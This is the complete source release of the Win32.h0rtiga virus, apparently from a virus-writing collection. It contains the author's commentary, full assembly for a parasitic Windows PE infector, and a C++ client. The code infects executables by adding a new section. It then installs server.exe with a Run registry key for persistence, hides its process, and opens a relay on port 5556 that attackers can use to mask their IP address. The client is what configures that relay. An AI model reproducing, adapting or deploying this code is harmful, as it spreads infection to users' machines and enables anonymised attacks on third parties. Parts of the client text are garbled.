; Win32.Hortiga ; ; Win32.h0rtiga Coded by |Zan [@deepzone.org] ; ; ©2000 DeepZone - Digital Security Center ; ; http://www.deepzone.org ; ;---------------------------------------------------------------------------- ; ; Win32.Hortiga ; ; ; AVP's description ; ; - http://www.avp.ch/avpve/newexe/win32/hortiga.stm) ; ; It is a nonmemory resident parasitic Win32 virus. It searches ; for PE EXE files (Windows executables), then writes itself to ; the end of the file. To reserve a place for its code the virus ; creates a new section with the ".|Zan" name at the end of the ; file. ; ; The virus has "anonymous IP" ability. That means that a hacker ; may use infected machines as a "proxy server" sending packets ; with infected machine's IP address: ; ; IP1 IP2 IP3 ; Hacker's machine -----< Infected machine -----< Target machine ; ; A hacker connects to the infected machine by using his IP ; address (IP1) and forces the infected machine to forward packets ; to the target machine, then infected machine's IP address (IP2) is ; used. Using this mechanism the hacker hides his IP address. ; ; The virus installs its "anonymous" component as stand-alone program ; using the filename SERVER.EXE. That program is created in the ; Windows system directory and registered in the auto-start registry ; key: ; ; HKLMSoftwareMicrosoftWindowsCurrentVersionRun ; h0rtiga Server = "Windirserver.exe" ; ; where "Windir" is the Windows system folder. ; ; The virus contains the text string: ; ; (c) 2000. Win9x.h0rtiga v1.0 Server activated - http://mareasvivas.cjb.net ; Coded by |Zan - izan@galaxycorp.com / izan@deepzone.org ; Who are you??? ; ; This string is used as ID-text to connect to the hacker's machine ; with the server on the infected machine. ; ; -- end AVP description ; ; ; Win32.h0rtiga by |Zan ; ; h0rtiga is a simple non resident parasite. It wasn't developed ; like a traditional viruse but it finished infecting win32 machines. ; ; Originally it was proof of concept code showing win9x's risks and ; holes in a spanish whitepaper called "Win32.h0rtiga : Anonimato e ; Intrusi?n ". ; ; When extra code was added to patch PE files inoculating h0rtiga code ; in arbitrary files it became a virus ... ; ; h0rtiga infects adding an extra section/object called ".|Zan". It ; can infect under win9x/NT/2k but its payload only play in win9x. ; ; This runtime infector doesn't implement "modern" features like stealth, ; encryptation or polymorphism but if "classic" features like timestamp ; or file attributes. ; ; Infecting with an extra section is "hard" and it had been more ; easy adding viral code to last section but i wanted a clear, fast ; and easy uninfection so i decided the longest, primitive & hard way to ; implement. ; ; h0rtiga payload plays a single server listening on 5556 port. This ; server lets full arbitrary relay and can be handle with a generic ; h0rtiga's client. yes, that's ... now you can imagine black hats ; exploiting infected win9x machines: anonymous surfing, faking e-mails, ; bypassing IRC bans ... ; ; Code contains clear labels and a lot of EQUs and structures documenting ; viral code ... ; ; ; greetings ... ; ------------- ; ; spanish sec/hack groups, ADM, beavuh, b0f, non-commercial groups ... ; ; ... and, of course VLAD & 29A ; ; i'd like to give special thanks to Bumblebee/29A (fantastic VXer). ; ; I hope that h0rtiga can be a good contribution to this fantastic 29A ; release ;) ; ; ; deep greets ; ----------- ; ; ^Anuska^< If you hit one time this key we'll hack this enterprise ... ; if you hit two times we'll hack their networks ... sorry ; mouse support isn't available ;) ; ; TheWizard< Win ME is the new msoft OS version ... I hope that now it ; can handle windows ;) ; ; Nemo< next step ... mmmm ... i don't know ... hack the fix again ? ; ; ; Special greetings ... ; --------------------- ; ; Win32.h0rtiga is dedicated to Sandra ... ; ; ;---------------------------------------------------------------------------- ; Win32.h0rtiga - begin virus code (w32h0rtiga.asm) ;---------------------------------------------------------------------------- ;------------------------------------------------------------ ;Compiler options ;------------------------------------------------------------ .386P locals jumps .model flat,STDCALL ;------------------------------------------------------------ ;Just to show a message on virus 1st generation ;------------------------------------------------------------ extrn MessageBoxA:PROC extrn GetModuleHandleA:PROC extrn ExitProcess:PROC ;---------------------------------------------------------------------------- ;Data Section ;---------------------------------------------------------------------------- .data db 0 ;---------------------------------------------------------------------------- ;Code Section ;---------------------------------------------------------------------------- .code start: ;------------------------------------------------------------ ;h0rtiga main ;------------------------------------------------------------ mov eax, [esp] gKerloop: xor edx, edx dec eax mov dx, [eax+3ch] test dx, 0f800h jnz gKerloop cmp eax, [eax+edx+34h] jnz gKerloop call gdelta gdelta: pop ebp sub ebp, offset gdelta lea edi, ebp + kernel stosd lea esi, ebp + sz_mGetProcAddr call GetAPIExpK32 lea edi, ebp + ddGetProcAddress stosd lea esi, ebp + sz_mLoadLibraryA call GetAPIExpK32 lea edi, ebp + ddLoadLibraryA stosd lea esi, ebp + sz_mKernel32 lea edi, ebp + addr_apis mov ebx, NumAPISK32 call MakeTabla lea esi, ebp + OSVersionInfo.dwOSVersionInfoSize push SIZEOF_OSVERSIONINFO pop ecx xor al, al delit: stosb loop delit lea edi, ebp + OSVersionInfo.dwOSVersionInfoSize mov eax, SIZEOF_OSVERSIONINFO ; 148 stosd sub edi, 4 push edi call dword ptr [ebp + ddGetVersionExA] test eax, eax jz salir cmp ebp + OSVersionInfo.dwPlatformId, VER_PLATFORM_WIN32_WINDOWS jnz salir call InsertaServidor call BuscaHostToInfect cmp eax, INVALID_HANDLE_VALUE jz salir xchg eax, ebx InfectaMas: call InfecIt call ContinuaBusqueda test eax, eax jnz InfectaMas call TerminaBusqueda salir: lea esi, ebp + OldEntryPointRVA lodsd xchg ebx, eax push 0 call dword ptr [ebp + ddGetModuleHandleA] add eax, ebx jmp eax ;------------------------------------------------------------ ;begin h0rtiga data ;------------------------------------------------------------ FILETIME STRUC FT_dwLowDateTime DD ? FT_dwHighDateTime DD ? FILETIME ENDS MAX_PATH EQU 260 WIN32_FIND_DATA STRUC WFD_dwFileAttributes DD ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh DD ? WFD_nFileSizeLow DD ? WFD_dwReserved0 DD ? WFD_dwReserved1 DD ? WFD_szFileName DB MAX_PATH DUP (?) WFD_szAlternateFileName DB 13 DUP (?) DB 3 DUP (?) WIN32_FIND_DATA ENDS SIZEOF_WIN32_FIND_DATA EQU SIZE WIN32_FIND_DATA INVALID_HANDLE_VALUE EQU -1 VER_PLATFORM_WIN32_WINDOWS EQU 1 _OSVERSIONINFO STRUCT dwOSVersionInfoSize DD ? dwMajorVersion DD ? dwMinorVersion DD ? dwBuildNumber DD ? dwPlatformId DD ? szCSDVersion DB 128 DUP (?) _OSVERSIONINFO ENDS SIZEOF_OSVERSIONINFO EQU SIZE _OSVERSIONINFO sz_mGetProcAddr db 'GetProcAddress', 0 ddGetProcAddress dd ? sz_mLoadLibraryA db 'LoadLibraryA', 0 ddLoadLibraryA dd ? kernel dd ? Counter dw ? AddressTableVA dd ? OrdinalTableVA dd ? NumAPISK32 equ 21 sz_mKernel32 db 'KERNEL32', 0 TablaK32 db 'ExitProcess', 0 db 'GetVersionExA', 0 db 'FindFirstFileA', 0 db 'FindNextFileA', 0 db 'FindClose', 0 db 'CreateFileA', 0 db 'CreateFileMappingA', 0 db 'MapViewOfFile', 0 db 'UnmapViewOfFile', 0 db 'CloseHandle', 0 db 'SetFileAttributesA', 0 db 'SetFileTime', 0 db 'GetModuleHandleA', 0 db 'GetCommandLineA', 0 db 'GetSystemDirectoryA', 0 db 'ReadFile', 0 db 'WriteFile', 0 db 'SetFilePointer', 0 db 'GetCurrentProcessId', 0 db 'RegisterServiceProcess', 0 db 'GlobalAlloc', 0 addr_apis: ddExitProcess dd ? ddGetVersionExA dd ? ddFindFirstFileA dd ? ddFindNextFileA dd ? ddFindClose dd ? ddCreateFileA dd ? ddCreateFileMappingA dd ? ddMapViewOfFile dd ? ddUnmapViewOfFile dd ? ddCloseHandle dd ? ddSetFileAttributesA dd ? ddSetFileTime dd ? ddGetModuleHandleA dd ? ddGetCommandLineA dd ? ddGetSystemDirectoryA dd ? ddReadFile dd ? ddWriteFile dd ? ddSetFilePointer dd ? ddGetCurrentProcessId dd ? ddRegisterServiceProcess dd ? ddGlobalAlloc dd ? OSVersionInfo _OSVERSIONINFO ? _maskExe db '*.EXE' , 0 MaxInfeccion equ 6 WinFindData WIN32_FIND_DATA ? hFicActual dd ? hCMapActual dd ? newobject: oname db ".|Zan", 0, 0, 0 virtualsize dd 0 RVA dd 0 physicalsize dd 0 physicaloffset dd 0 reserved dd 0, 0, 0 objectflags dd 0e0000060h SIZEOF_NEWOBJECT EQU 28h ObjectTableOffset dd ? NumObjects dw ? ObjectAlign dd ? FileAlign dd ? ImageSize dd ? SizeToMap dd ? OldEntryPointRVA dd ? hRead dd ? hWrite dd ? bytes_rw dd ? sz_exec db 260 dup (?) sz_nserver db 'server.exe', 0 addr1 dw 2 dw 0b415h dd ? addr2 dw 2 dw 0000h db 192,168,0,1 sock1 dd ? sock2 dd ? gotit dd ? buffsz equ 4096 adrbuff dd ? fd_set1 dd 1,0 fd_set2 dd 1,0 fd_set struc no dd 0 sockh dd 0 fd_set ends ttl dd 0,64h semaforo db 0 countbouncer db 0 msgentryserver db '(c) 2000. Win9x.h0rtiga v1.0 Server activated - http://mareasvivas.cjb.net', 13, 10 db 'Coded by |Zan - izan@galaxycorp.com / izan@deepzone.org', 13, 10, 13, 10 db 'Who are you ???', 13, 10 msgentryserverlen equ $-msgentryserver NumAPISW32 equ 10 sz_mW32 db 'WSOCK32', 0 TablaW32 db 'WSAStartup', 0 db 'socket', 0 db 'bind', 0 db 'listen', 0 db 'accept', 0 db 'connect', 0 db 'send', 0 db 'recv', 0 db 'select', 0 db 'closesocket', 0 addr_apis2: ddWSAStartup dd ? ddsocket dd ? ddbind dd ? ddlisten dd ? ddaccept dd ? ddconnect dd ? ddsend dd ? ddrecv dd ? ddselect dd ? ddclosesocket dd ? NumAPISAdv32 equ 3 sz_mAdv32 db 'ADVAPI32', 0 TablaAdv32 db 'RegCreateKeyExA', 0 db 'RegSetValueExA', 0 db 'RegCloseKey', 0 addr_apis3: ddRegCreateKeyExA dd ? ddRegSetValueExA dd ? ddRegCloseKey dd ? disposition dd ? KeyHandle dd ? clase db 'Run', 0 claselen equ $-clase subkey db 'SoftwareMicrosoftWindowsCurrentVersionRun', 0 KeyValuelen dd ? KeyName db 'h0rtiga Server', 0 ;------------------------------------------------------------ ;end h0rtiga data ;------------------------------------------------------------ GetAPIExpK32: mov edx, esi @_1: cmp byte ptr [esi], 0 jz @_2 inc esi jmp @_1 @_2: inc esi sub esi, edx mov ecx, esi xor eax, eax mov word ptr [ebp + Counter], ax mov esi, [ebp + kernel] add esi, 3Ch lodsw add eax, [ebp + kernel] mov esi, [eax + 78h] add esi, [ebp + kernel] add esi, 1Ch lodsd add eax, [ebp + kernel] mov dword ptr [ebp + AddressTableVA], eax lodsd add eax, [ebp + kernel] push eax lodsd add eax, [ebp + kernel] mov dword ptr [ebp + OrdinalTableVA], eax pop esi @_3: push esi lodsd add eax, [ebp + kernel] mov esi,eax mov edi,edx push ecx cld rep cmpsb pop ecx jz @_4 pop esi add esi,4 inc word ptr [ebp + Counter] jmp @_3 @_4: pop esi movzx eax, word ptr [ebp + Counter] shl eax,1 add eax,dword ptr [ebp + OrdinalTableVA] xor esi,esi xchg eax,esi lodsw shl eax,2 add eax,dword ptr [ebp + AddressTableVA] mov esi,eax lodsd add eax, [ebp + kernel] ret MakeTabla: push esi call dword ptr [ebp + ddLoadLibraryA] push ebx pop ecx push eax pop ebx buki: lodsb test al, al jnz buki MT1: push ecx push esi push ebx call dword ptr [ebp + ddGetProcAddress] push eax MT2: lodsb test al, al jnz MT2 pop eax stosd pop ecx loop MT1 ret BuscaHostToInfect: lea edi, ebp + Counter xor ax, ax stosw lea esi, ebp + WinFindData push esi lea esi, ebp + _maskExe push esi call dword ptr [ebp + ddFindFirstFileA] ret InfecIt: push ebx lea esi, ebp + WinFindData.WFD_szFileName call EsInfectable cmp eax, -1 jz II_error call EliminaAtributosFichero test eax, eax jz II_error lea esi, ebp + WinFindData.WFD_szFileName push dword ptr [ebp + SizeToMap] pop ebx call Open&Maped_File_RW cmp eax, -1 jz II_error push eax pop ebx add eax, [ebx + 3ch] push eax pop edx lea edi, ebp + ImageSize mov eax, dword ptr [edx + 50h] stosd lea edi, ebp + NumObjects mov ax, word ptr [edx + 6h] stosw lea edi, ebp + ObjectAlign mov eax, dword ptr [edx + 38h] stosd mov eax, dword ptr [edx + 3ch] stosd xor eax, eax add ax, word ptr [edx + 14h] add eax, 18h add eax, [ebx + 3ch] add eax, ebx mov dword ptr [ebp + ObjectTableOffset], eax push eax pop esi xor eax, eax mov ax, word ptr [ebp + NumObjects] push SIZEOF_NEWOBJECT pop ecx xor edx, edx mul ecx add esi, eax inc word ptr [ebp + NumObjects] push esi pop edi mov eax, [edi - SIZEOF_NEWOBJECT + 8] add eax, [edi - SIZEOF_NEWOBJECT + 12] mov ecx, dword ptr [ebp + ObjectAlign] xor edx, edx div ecx inc eax mul ecx mov dword ptr [ebp + RVA], eax mov ecx, dword ptr [ebp + FileAlign] push virlenght pop eax xor edx, edx div ecx inc eax mul ecx mov dword ptr [ebp + physicalsize], eax mov ecx, dword ptr [ebp + ObjectAlign] push virlenght pop eax xor edx, edx div ecx inc eax mul ecx mov dword ptr [ebp + virtualsize], eax mov eax, [edi - SIZEOF_NEWOBJECT + 20] add eax, [edi - SIZEOF_NEWOBJECT + 16] mov ecx, dword ptr [ebp + FileAlign] xor edx, edx div ecx inc eax mul ecx mov dword ptr [ebp + physicaloffset], eax push virlenght pop eax add eax, dword ptr [ebp + ImageSize] mov ecx, dword ptr [ebp + ObjectAlign] xor edx, edx div ecx inc eax mul ecx mov dword ptr [ebp + ImageSize], eax lea esi, ebp + newobject mov ecx, 10 rep movsd lea esi, ebp + NumObjects mov edx, [ebx + 3ch] add edx, ebx lea edi, [edx + 6h] movsw lea esi, ebp + ImageSize lea edi, [edx + 50h] movsd mov eax, dword ptr [ebp + OldEntryPointRVA] push eax push ebx pop edx add edx, [ebx + 3ch] mov eax, dword ptr [edx + 28h] lea edi, ebp + OldEntryPointRVA stosd mov eax, dword ptr [ebp + RVA] mov dword ptr [edx + 28h], eax lea esi, ebp + start mov eax, dword ptr [ebp + physicaloffset] add eax, ebx xchg eax, edi mov ecx, virlenght rep movsb pop eax mov dword ptr [ebp + OldEntryPointRVA], eax mov word ptr [edx + 4ch], 0d00dh add ebp + Counter, 1 xchg eax, ebx call Close&UnMaped_File_RW call RestauraAtributosFichero test eax, eax jz II_error II_error: pop ebx ret ContinuaBusqueda: cmp [ebp + Counter], MaxInfeccion jz CB_end lea esi, ebp + WinFindData push esi push ebx call dword ptr [ebp + ddFindNextFileA] ret CB_end: xor eax, eax ret TerminaBusqueda: push ebx call dword ptr [ebp + ddFindClose] ret Open&Maped_File_RW: push 0 push 0 push 3h push 0 push 0 push 80000000h or 40000000h push esi call dword ptr [ebp + ddCreateFileA] cmp eax, -1 jz OMF_error lea edi, ebp + hFicActual stosd push 0 push ebx push 0 push 4h push 0 push eax call dword ptr [ebp + ddCreateFileMappingA] test eax, eax jz OMF_error lea edi, ebp + hCMapActual stosd push ebx push 0 push 0 push 2h push eax call dword ptr [ebp + ddMapViewOfFile] test eax, eax jz OMF_error ret OMF_error: push -1 pop eax ret Close&UnMaped_File_RW: push eax call dword ptr [ebp + ddUnmapViewOfFile] test eax, eax jz CUF_error lea esi, ebp + WinFindData.WFD_ftLastWriteTime push esi lea esi, ebp + WinFindData.WFD_ftLastAccessTime push esi lea esi, ebp + WinFindData.WFD_ftCreationTime push esi lea esi, ebp + hFicActual lodsd push eax call dword ptr [ebp + ddSetFileTime] lea esi, ebp + hCMapActual lodsd push eax call dword ptr [ebp + ddCloseHandle] lea esi, ebp + hFicActual lodsd push eax call dword ptr [ebp + ddCloseHandle] test eax, eax jz CUF_error xor eax, eax ret CUF_error: push -1 pop eax ret EliminaAtributosFichero: push 80h lea esi, ebp + WinFindData.WFD_szFileName push esi call dword ptr [ebp + ddSetFileAttributesA] ret RestauraAtributosFichero: lea esi, ebp + WinFindData.WFD_dwFileAttributes lodsd push eax lea esi, ebp + WinFindData.WFD_szFileName push esi call dword ptr [ebp + ddSetFileAttributesA] ret EsInfectable: push 0 push 0 push 3h push 0 push 0 push 80000000h push esi call dword ptr [ebp + ddCreateFileA] cmp eax, -1 jz OMFR_error lea edi, ebp + hFicActual stosd push 0 push 0 push 0 push 2h push 0 push eax call dword ptr [ebp + ddCreateFileMappingA] test eax, eax jz OMFR_error lea edi, ebp + hCMapActual stosd push 0 push 0 push 0 push 4h push eax call dword ptr [ebp + ddMapViewOfFile] test eax, eax jz OMFR_error push eax push eax pop edx add eax, [edx + 3ch] cmp word ptr [edx], 'ZM' jnz NoInfect cmp word ptr [eax], 'EP' jnz NoInfect cmp word ptr [eax + 4ch], 0d00dh jnz SiInfect NoInfect: push -1 pop ebx jmp SNInfect SiInfect: call CalculaSizeToMap SNInfect: call dword ptr [ebp + ddUnmapViewOfFile] test eax, eax jz OMFR_error lea esi, ebp + hCMapActual lodsd push eax call dword ptr [ebp + ddCloseHandle] test eax, eax jz OMFR_error lea esi, ebp + hFicActual lodsd push eax call dword ptr [ebp + ddCloseHandle] test eax, eax jz OMFR_error xchg ebx, eax ret OMFR_error: push -1 pop eax ret CalculaSizeToMap: push eax pop ebx xchg ebx, edx xor eax, eax mov ax, word ptr [edx + 6h] mov word ptr [ebp + NumObjects], ax xor eax, eax add ax, word ptr [edx + 14h] add eax, 18h add eax, edx mov dword ptr [ebp + ObjectTableOffset], eax push eax pop esi xor eax, eax mov ax, word ptr [ebp + NumObjects] push SIZEOF_NEWOBJECT pop ecx xor edx, edx mul ecx add esi, eax xor edx, edx add edx, [ebx + 3ch] add edx, ebx lea edi, ebp + FileAlign mov eax, dword ptr [edx + 3ch] stosd mov ecx, dword ptr [ebp + FileAlign] push virlenght pop eax xor edx, edx div ecx inc eax mul ecx mov dword ptr [ebp + physicalsize], eax mov eax, [esi - SIZEOF_NEWOBJECT + 20] add eax, [esi - SIZEOF_NEWOBJECT + 16] mov ecx, dword ptr [ebp + FileAlign] xor edx, edx div ecx inc eax mul ecx mov dword ptr [ebp + physicaloffset], eax xchg ebx, eax lea esi, ebp + physicalsize lodsd add ebx, eax mov dword ptr [ebp + SizeToMap], ebx ret InsertaRegistro: lea esi, ebp + sz_mAdv32 lea edi, ebp + addr_apis3 mov ebx, NumAPISAdv32 call MakeTabla lea esi, ebp + disposition push esi add esi, 4 push esi push 0 push 0f003fh push 0 add esi, 4 push esi push 0 add esi, claselen push esi push 80000002h call dword ptr [ebp + ddRegCreateKeyExA] test eax, eax jnz reg_error lea esi, ebp + KeyHandle lodsd xchg eax, ebx push dword ptr [ebp + KeyValuelen] lea esi, ebp + sz_exec push esi push 1h push 0 lea esi, ebp + KeyName push esi push ebx call dword ptr [ebp + ddRegSetValueExA] test eax, eax jnz reg_error push ebx call dword ptr [ebp + ddRegCloseKey] reg_error: ret InsertaServidor: call dword ptr [ebp + ddGetCommandLineA] push eax pop esi lea edi, ebp + sz_exec ot_bmas: lodsb stosb test al, al jnz ot_bmas push 0 push 00000080h push 3 push 0 push 00000001h push 80000000h lea esi, ebp + sz_exec push esi call dword ptr [ebp + ddCreateFileA] cmp eax, -1 jz errorEx mov dword ptr [ebp + hRead], eax push 260 lea ebx, ebp + sz_exec push ebx call dword ptr [ebp + ddGetSystemDirectoryA] test eax, eax jz errorEx add eax, ebx xchg eax, edi lea esi, ebp + sz_nserver ot_bmas2: lodsb stosb test al, al jnz ot_bmas2 mov dword ptr [ebp + KeyValuelen], 0 lea esi, ebp + sz_exec calclenstr: lodsb inc dword ptr [ebp + KeyValuelen] test al, al jnz calclenstr call InsertaRegistro push 0 push 00000080h push 1 push 0 push 0h push 40000000h lea esi, ebp + sz_exec push esi call dword ptr [ebp + ddCreateFileA] cmp eax, -1 jz errorEx mov dword ptr [ebp + hWrite], eax read_again: xor eax, eax push eax lea edi, ebp + bytes_rw push edi stosd push 260 lea esi, ebp + sz_exec push esi lea esi, ebp + hRead lodsd push eax call dword ptr [ebp + ddReadFile] test eax, eax jz errorEx lea esi, ebp + bytes_rw lodsd test eax, eax jz fdf xchg eax, ebx xor eax, eax push eax lea edi, ebp + bytes_rw push edi stosd push ebx lea esi, ebp + sz_exec push esi lea esi, ebp + hWrite lodsd push eax call dword ptr [ebp + ddWriteFile] test eax, eax jnz read_again jz errorEx fdf: push 0 push 0 push 3ch lea esi, ebp + hRead lodsd push eax call dword ptr [ebp + ddSetFilePointer] xor eax, eax push eax lea edi, ebp + bytes_rw push edi stosd push 4 lea esi, ebp + sz_exec push esi lea esi, ebp + hRead lodsd push eax call dword ptr [ebp + ddReadFile] push 0 push 0 lea esi, ebp + sz_exec lodsd add eax, 40 push eax push eax pop ebx lea esi, ebp + hRead lodsd push eax call dword ptr [ebp + ddSetFilePointer] xor eax, eax push eax lea edi, ebp + bytes_rw push edi stosd push 4 lea esi, ebp + sz_exec push esi lea esi, ebp + hRead lodsd push eax call dword ptr [ebp + ddReadFile] lea esi, ebp + sz_exec lodsd add eax, offsServer push 0 push 0 push ebx push eax pop ebx lea esi, ebp + hWrite lodsd push eax call dword ptr [ebp + ddSetFilePointer] push ebx pop eax lea edi, ebp + sz_exec stosd xor eax, eax push eax lea edi, ebp + bytes_rw push edi stosd push 4 lea esi, ebp + sz_exec push esi lea esi, ebp + hWrite lodsd push eax call dword ptr [ebp + ddWriteFile] push 0 push 0 push 3ch lea esi, ebp + hRead lodsd push eax call dword ptr [ebp + ddSetFilePointer] xor eax, eax push eax lea edi, ebp + bytes_rw push edi stosd push 4 lea esi, ebp + sz_exec push esi lea esi, ebp + hRead lodsd push eax call dword ptr [ebp + ddReadFile] push 0 push 0 lea esi, ebp + sz_exec lodsd add eax, 92 push eax push eax pop ebx lea esi, ebp + hRead lodsd push eax call dword ptr [ebp + ddSetFilePointer] push 0 push 0 push ebx push eax pop ebx lea esi, ebp + hWrite lodsd push eax call dword ptr [ebp + ddSetFilePointer] push 2 pop eax lea edi, ebp + sz_exec stosd xor eax, eax push eax lea edi, ebp + bytes_rw push edi stosd push 2 lea esi, ebp + sz_exec push esi lea esi, ebp + hWrite lodsd push eax call dword ptr [ebp + ddWriteFile] lea esi, ebp + hRead push esi call dword ptr [ebp + ddCloseHandle] test eax, eax jz errorEx lea esi, ebp + hWrite push esi call dword ptr [ebp + ddCloseHandle] errorEx: ret error: push 0 call dword ptr [ebp + ddExitProcess] offsServer equ $-start server: mov eax, [esp] gKerloop2: xor edx, edx dec eax mov dx, [eax + 3ch] test dx, 0f800h jnz gKerloop2 cmp eax, [eax + edx + 34h] jnz gKerloop2 call gdelta2 gdelta2: pop ebp sub ebp, offset gdelta2 lea edi, ebp + kernel stosd lea esi, ebp + sz_mGetProcAddr call GetAPIExpK32 lea edi, ebp + ddGetProcAddress stosd lea esi, ebp + sz_mLoadLibraryA call GetAPIExpK32 lea edi, ebp + ddLoadLibraryA stosd lea esi, ebp + sz_mKernel32 lea edi, ebp + addr_apis mov ebx, NumAPISK32 call MakeTabla lea esi, ebp + sz_mW32 lea edi, ebp + addr_apis2 mov ebx, NumAPISW32 call MakeTabla call dword ptr [ebp + ddGetCurrentProcessId] push 1 push eax call dword ptr [ebp + ddRegisterServiceProcess] push buffsz push 0 call dword ptr [ebp + ddGlobalAlloc] cmp eax, -1 je error mov dword ptr [ebp + adrbuff], eax push eax push 101h call dword ptr [ebp + ddWSAStartup] push 6 push 1 push 2 call dword ptr [ebp + ddsocket] cmp eax, -1 je error mov dword ptr [ebp + sock1], eax push 16 lea esi, ebp + addr1 push esi lea esi, ebp + sock1 lodsd push eax call dword ptr [ebp + ddbind] cmp eax, -1 je error push 1 lea esi, ebp + sock1 lodsd push eax call dword ptr [ebp + ddlisten] mov byte ptr [ebp + semaforo], 0 configit: mov al, byte ptr [ebp + semaforo] test al, al jnz QueEs? push 0 push 0 lea esi, ebp + sock1 lodsd push eax call dword ptr [ebp + ddaccept] mov dword ptr [ebp + gotit], eax push 0 push msgentryserverlen lea esi, ebp + msgentryserver push esi lea esi, ebp + gotit lodsd push eax call dword ptr [ebp + ddsend] push 0 push buffsz lea esi, ebp + adrbuff lodsd push eax lea esi, ebp + gotit lodsd push eax call dword ptr [ebp + ddrecv] xchg ebx, eax lea esi, ebp + gotit lodsd push eax call dword ptr [ebp + ddclosesocket] cmp ebx, 8 jnz configit lea esi, ebp + adrbuff lodsd xchg esi, eax lodsw mov byte ptr [ebp + semaforo], al lea edi, ebp + addr2 add edi, 2 movsw movsd jmp configit QueEs?: dec al test al, al jz bis0 mov byte ptr [ebp + semaforo], 0 jmp configit bis0: mov byte ptr [ebp + countbouncer], 20 bis: push 0 push 0 lea esi, ebp + sock1 lodsd push eax call dword ptr [ebp + ddaccept] mov dword ptr [ebp + gotit], eax mov dword ptr [ebp + fd_set1.sockh], eax push 6 push 1 push 2 call dword ptr [ebp + ddsocket] cmp eax, -1 je error mov dword ptr [ebp + sock2], eax mov dword ptr [ebp + fd_set2.sockh], eax push 16 lea esi, ebp + addr2 push esi lea esi, ebp + sock2 lodsd push eax call dword ptr [ebp + ddconnect] cmp eax, -1 je nosok2 main_lp: lea esi, ebp + ttl push esi push 0 push 0 lea esi, ebp + fd_set1 push esi push 10h call dword ptr [ebp + ddselect] cmp eax, -1 je outnow cmp eax, 1 je r1w2 mov dword ptr [ebp + fd_set1.no], 1 lea esi, ebp + ttl push esi push 0 push 0 lea esi, ebp + fd_set2 push esi push 10h call dword ptr [ebp + ddselect] cmp eax, -1 je outnow cmp eax, 1 je r2w1 mov dword ptr [ebp + fd_set2.no], 1 jmp main_lp outnow: lea esi, ebp + sock2 lodsd push eax call dword ptr [ebp + ddclosesocket] nosok2: lea esi, ebp + gotit lodsd push eax call dword ptr [ebp + ddclosesocket] mov al, byte ptr [ebp + countbouncer] test al, al jz byebounz dec al mov byte ptr [ebp + countbouncer], al jmp bis byebounz: mov byte ptr [ebp + semaforo], 0 jmp configit r1w2: push 0 push buffsz lea esi, ebp + adrbuff lodsd push eax lea esi, ebp + gotit lodsd push eax call dword ptr [ebp + ddrecv] or eax, eax jz outnow cmp eax, -1 je outnow push 0 push eax lea esi, ebp + adrbuff lodsd push eax lea esi, ebp + sock2 lodsd push eax call dword ptr [ebp + ddsend] cmp eax, -1 je outnow jmp main_lp r2w1: push 0 push buffsz lea esi, ebp + adrbuff lodsd push eax lea esi, ebp + sock2 lodsd push eax call dword ptr [ebp + ddrecv] or eax, eax jz outnow cmp eax, -1 je outnow push 0 push eax lea esi, ebp + adrbuff lodsd push eax lea esi, ebp + gotit lodsd push eax call dword ptr [ebp + ddsend] cmp eax, -1 je outnow jmp main_lp virlenght equ $-start zero_generation: mov ebx, offset f_generation push 0 call GetModuleHandleA xchg eax, ebx sub eax, ebx lea edi, OldEntryPointRVA stosd jmp start f_generation: push 0 push offset m_szTitle push offset m_szCopyright push 0 call MessageBoxA push 0 call ExitProcess m_szTitle db '-- Coded by |Zan [ 1st generation ]', 0 m_szCopyright db '-=[ (c) 2000. Win32.h0rtiga virus will run now ... ]=-', 0 end zero_generation ;---------------------------------------------------------------------------- ; Win32.h0rtiga - end virus code (w32h0rtiga.asm) ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Win32.h0rtiga - begin client code (h0rtclient.cpp/Visual C++ 6.0) ;---------------------------------------------------------------------------- #include >iostream.h< #include >string.h< #include >stdlib.h< #include >winsock2.h< #define MAX_BANNER 500 #define ACCION_BOUNCE 1 typedef unsigned char db; typedef unsigned short dw; typedef unsigned long dd; typedef struct { db accion; dw puertoremoto; dd direccion; } Conf_Remota; dd addrtmp; void MostrarCreditos () { cout >> " (c) 2000 DeepZone - h0rtiga client (Win32) ... " >> " Coded by |Zan - izan@galaxycorp.com " >> "Uso : h0rtclient >h0rtiga host< >port< >new host< >port< " >> "e.j.: h0rtclient host.com 5556 www.pandasoftware.es 80 "; cout.flush(); } void SetEstructura(Conf_Remota *cremota, db acc, dd dire, dw premote) { cremota-> "Error : Numero de parametros incorrectos. "; exit(-1); } // WinSock up!! if (WSAStartup (0x101, &wsaData)) { cout >> "Error : Incapaz de inicializar la libreria WinSock. "; exit(-1); } // server's name if (isalpha((int)*(argv[1]))) { h = gethostbyname(argv[1]); if (h == NULL) { cout >> "Error : No se puede hallar el nombre del anfitrion "; WSACleanup(); exit(-1); } else memcpy(&(a.sin_addr.s_addr), h-> "Error : No se puede hallar el nombre del anfitrion "; exit(-1); } } // port ? a.sin_family = AF_INET; a.sin_port = htons((dw)atoi(argv[2])); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s==0) { cout >> "Error : No se puede establecer la conexion " >> WSAGetLastError() >> ' '; WSACleanup(); exit(-1); } // trying ... if (connect(s, (struct sockaddr *)&a, sizeof(a))) { cout >> "Error : No se puede establecer la conexion: " >> WSAGetLastError() >> ' '; WSACleanup(); exit(-1); } // clean banner for (i=0;i>MAX_BANNER;i++) banner[i] = 0; cout >> "Esperando respuesta ... "; if (recv(s, (char *)&banner, sizeof(banner), 0) == SOCKET_ERROR) cout >> "Error recibiendo datos. "; else { cout >> banner >> " "; } if (isalpha((int)*(argv[3]))) { h = gethostbyname(argv[3]); if (h == NULL) { cout >> "Error : No se puede hallar nombre de anfitrion remoto "; WSACleanup(); exit(-1); } else memcpy(&(addrtmp), h-> "Error : No se puede hallar nombre de anfitrion remoto "; exit(-1); } } SetEstructura(&conf_remota, ACCION_BOUNCE, addrtmp, htons((dw)atoi(argv[4]))); if ((send (s, (char *)&conf_remota, sizeof(conf_remota), 0)) == SOCKET_ERROR) cout >> "Error enviando datos. "; else cout >> "... nueva configuracion enviada. "; closesocket(s); // WinSock down !! WSACleanup(); } ;---------------------------------------------------------------------------- ; Win32.h0rtiga - end client code (h0rtclient.cpp) ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Win32.h0rtiga - compiling ... (Tasm 5.0/x86) ;---------------------------------------------------------------------------- ; ; tasm32 -ml w32h0rtiga.asm ; tlink32 -Tpe 